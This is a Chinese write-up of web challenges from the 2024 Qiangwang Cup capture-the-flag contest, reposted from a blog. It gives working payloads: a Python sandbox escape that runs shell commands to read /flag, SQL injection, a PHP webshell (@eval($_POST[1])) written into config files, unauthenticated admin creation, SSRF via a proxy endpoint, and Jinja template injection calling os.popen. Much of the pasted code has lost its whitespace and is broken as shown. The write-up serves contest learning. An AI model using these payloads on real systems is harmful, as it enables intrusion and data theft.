0


2024强网杯 Web WP

强网杯2024

参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ

PyBlockly

源码:

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII']=False

blacklist_pattern =r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"defmodule_exists(module_name):

    spec = importlib.util.find_spec(module_name)if spec isNone:returnFalseif module_name in sys.builtin_module_names:returnTrueif spec.origin:
        std_lib_path = os.path.dirname(os.__file__)if spec.origin.startswith(std_lib_path)andnot spec.origin.startswith(os.getcwd()):returnTruereturnFalsedefverify_secure(m):for node in ast.walk(m):
        match type(node):
            case ast.Import:print("ERROR: Banned module ")returnFalse
            case ast.ImportFrom:print(f"ERROR: Banned module {node.module}")returnFalsereturnTruedefcheck_for_blacklisted_symbols(input_text):if re.search(blacklist_pattern, input_text):print('black_list over.', re.search(blacklist_pattern, input_text))returnTrueelse:print('black_list detected.', re.search(blacklist_pattern, input_text))returnFalsedefblock_to_python(block):
    block_type = block['type']
    code =''if block_type =='print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code =f"print({text})"elif block_type =='math_number':ifstr(block['fields']['NUM']).isdigit():      
            code =int(block['fields']['NUM'])else:
            code =''elif block_type =='text':if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code =''else:
        
            code ="'"+ unidecode.unidecode(block['fields']['TEXT'])+"'"elif block_type =='max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =f"max({a}, {b})"elif block_type =='min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =f"min({a}, {b})"if'next'in block:
        
        block = block['next']['block']
        
        code +="\n"+ block_to_python(block)+"\n"else:return code 
    return code

defjson_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code =""
    python_code += block_to_python(block)+"\n"return python_code

defdo(source_code):
    hook_code ='''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''print('do!')print('Source code: ',source_code)
    code = hook_code + source_code
    tree =compile(source_code,"run.py",'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree):withopen("run.py",'w')as f:
                f.write(code)        
            result = subprocess.run(['python','run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')return result
        else:return"Execution aborted due to security concerns."except:
        os.remove('run.py')return"Timeout!"@app.route('/')defindex():return app.send_static_file('index.html')@app.route('/blockly_json', methods=['POST'])defblockly_json():
    blockly_data = request.get_data()print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))print(blockly_data)try:
        python_code = json_to_python(blockly_data)print(python_code)return do(python_code)except Exception as e:return jsonify({"error":"Error generating Python code","details":str(e)})if __name__ =='__main__':
    app.run(host ='0.0.0.0')

发现在text经过了unidecode.unidecode,会将中文字符转为英文字符,从而实现绕过黑名单。

源码的大概意思是向blockly_json接口Post需要发的Block参数,flask接受到参数后进行黑名单查询,然后进行拼接语句形成代码

将代码写入run.py,然后执行run.py,五秒后删除run.py

思路一

在text中写入恶意代码(用中文字符替换所有英文字符实现绕过),通过不断写入run.py来实现条件竞争(flask支持多程线,毕竟是web应用,在删除之前,再次发包即可执行run.py)

所以就是要不断向run.py写入我们的dd if=/flag代码,总会有被执行的时候

为了绕过黑名单和实现插入我们的代码:用))((来闭合前后的代码,用**bytes. fromhex(‘72756e2e7079’). decode()**来实现绕过blacklist = [“popen”, “input”, “eval”, “exec”, “compile”, “memoryview”]

text:

‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1

run.py:

print(max('',''))
\n
(open(bytes. fromhex('72756e2e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929')))
\n
print(print('1',10))

python脚本:

import requests
import json
import threading

url ='http://127.0.0.1'
data ={"blocks":{"blocks":[{"type":"print","x":101,"y":102,"inputs":{"TEXT":{"block":{"type":"max","inputs":{"A":{"block":{"type":"text","fields":{"TEXT":"‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1"}}},"B":{"block":{"type":"math_number","fields":{"NUM":10}}}}}}}}]}}defsend_requests():while1:
        r = requests.post(url+'/blockly_json',headers={"Content-Type":"application/json"},data=json.dumps(data))
        text = r.text
        if'1 10'isnotin text and"No such file or direct"notin text andlen(text)>10:print(text)
            os.exit()
 
threads =[]
epochs =100for _ inrange(epochs):
    thread = threading.Thread(target=send_requests)
    threads.append(thread)
    thread.start()for thr in threads:
    thr.join()

思路二

dd if=/flag写入到1.py,第二次发包利用run.py执行1.py

第一次发包:

写入1.py

open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))

第二次发包:

执行2.py

__import__('1')

思路三

绕过len(event_name) > 4的限制:

__import__("builtins").len=lambda a: 1

,'闭合text部分代码,#注释掉后面的代码

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}

'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #

读不了,用dd提权

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}

xiaohuanxiong

拿到《正确》的源码感觉就比较困难()

 git clone https://github.com/forkable/xiaohuanxiong.git

思路一

在application/index/controller/Index.php的search方法处:

$books=$this->bookService->search($keyword,$num);

其中$keyword未进行过滤,并且直接拼接到sql语句中

publicfunctionsearch($keyword,$num){returnDb::query("select * from ".$this->prefix."book where delete_time=0 and match(book_name,summary,author_name,nick_name) 
            against ('".$keyword."' IN NATURAL LANGUAGE MODE) LIMIT ".$num);

payload:

?keyword=0')or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name)FROM information_schema.tables)),3)# 

因为有加salt后md5的操作,我们不能直接解密出来密码

先注册一个空密码的账号,拿到密码的md5后解出来就是盐值,ce6b59575e5106006eee521e1fc77f79 => bf3a27

利用盐值来爆密码:

import hashlib
import itertools

salt ='bf3a27'
target_hash ='cd68b9fa89089351c31f248f7a321583'
chars ='0123456789abcdef'
max_length =6for length inrange(1, max_length +1):for password_tuple in itertools.product(chars, repeat=length):
        password =''.join(password_tuple)
        hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()if hash_attempt == target_hash:print(f'Found password: {password}')break

后台:application/admin/controller/Index.php

publicfunctionupdate(){if($this->request->isPost()){$site_name=input('site_name');$url=input('url');$img_site=input('img_site');$salt=input('salt');$api_key=input('api_key');$front_tpl=input('front_tpl');$payment=input('payment');$site_code=<<<INFO
        <?php
        return [
            'url' => '{$url}',
            'img_site' => '{$img_site}',
            'site_name' => '{$site_name}',
            'salt' => '{$salt}',
            'api_key' => '{$api_key}', 
            'tpl' => '{$front_tpl}',
            'payment' => '{$payment}'         
        ];
INFO;file_put_contents(App::getRootPath().'config/site.php',$site_code);$this->success('修改成功','index','',1);}}

?url=‘}+

@eval($_POST[1])

+{’

思路二

盐值爆不出来的话,继续审计

在application/admin/controller/Admins.php重写初始化,而没有checkAuth,导致了Admins.php下的越权

class Admins extendsBaseAdmin{protected$adminService;protectedfunctioninitialize(){$this->adminService=newAdminService();}

新增管理员:

publicfunctionsave(Request$request){$data=$request->param();$admin=Admin::where('username','=',trim($data['username']))->find();if($admin){$this->error('存在同名账号');}else{$admin=newAdmin();$admin->username=$data['username'];$admin->password=md5(strtolower(trim($data['password'])).config('site.salt'));$admin->save();$this->success('新增管理员成功');}}

由于网址默认设置了伪静态,所以应该访问admin/admins/save.html

// URL伪静态后缀
'url_html_suffix'        => 'html',

payload: admin/admins/save.html Post:username=admin1&password=123456

在处application/admin/controller/Payment.php,存在后台命令执行漏洞,直接传参json写马,<?php system(‘cat /flag’);

//支付配置文件publicfunctionindex(){if($this->request->isPost()){$content=input('json');file_put_contents(App::getRootPath().'config/payment.php',$content);$this->success('保存成功');}$content=file_get_contents(App::getRootPath().'config/payment.php');$this->assign('json',$content);returnview();}

拿到shell后,flag在根目录

Proxy

mian.go

package main

import("bytes""io""net/http""os/exec""github.com/gin-gonic/gin")type ProxyRequest struct{
    URL             string`json:"url" binding:"required"`
    Method          string`json:"method" binding:"required"`
    Body            string`json:"body"`
    Headers         map[string]string`json:"headers"`
    FollowRedirects bool`json:"follow_redirects"`}funcmain(){
    r := gin.Default()//api1,访问得到就给flag
    v1 := r.Group("/v1"){
        v1.POST("/api/flag",func(c *gin.Context){
            cmd := exec.Command("/readflag")
            flag, err := cmd.CombinedOutput()if err !=nil{
                c.JSON(http.StatusInternalServerError, gin.H{"status":"error","message":"Internal Server Error"})return}
            c.JSON(http.StatusOK, gin.H{"flag": flag})})}//api2
    v2 := r.Group("/v2"){
        v2.POST("/api/proxy",func(c *gin.Context){var proxyRequest ProxyRequest
            if err := c.ShouldBindJSON(&proxyRequest); err !=nil{//把请求的json数据解析后绑定到proxyRequest
                c.JSON(http.StatusBadRequest, gin.H{"status":"error","message":"Invalid request"})return}//根据proxyRequest的内容新建请求
            req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))

payload:

curl -X POST http://47.93.15.136:30891/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{
    "url": "http://127.0.0.1:8769/v1/api/flag",
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": false
}'

snake

脑洞:JS+SSTI

一个js贪吃蛇游戏,修改本地js文件,通关之后发现

/snake_win?username=admin

路由, 进行联合查询, 并发现 SSTI:

1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20

lipsum是jinjia模板中用于生成随机文本的一种方法

platform


本文转载自: https://blog.csdn.net/GKD2019/article/details/143496496
版权归原作者 GKDf1sh 所有, 如有侵权,请联系我们删除。

“2024强网杯 Web WP”的评论:

还没有评论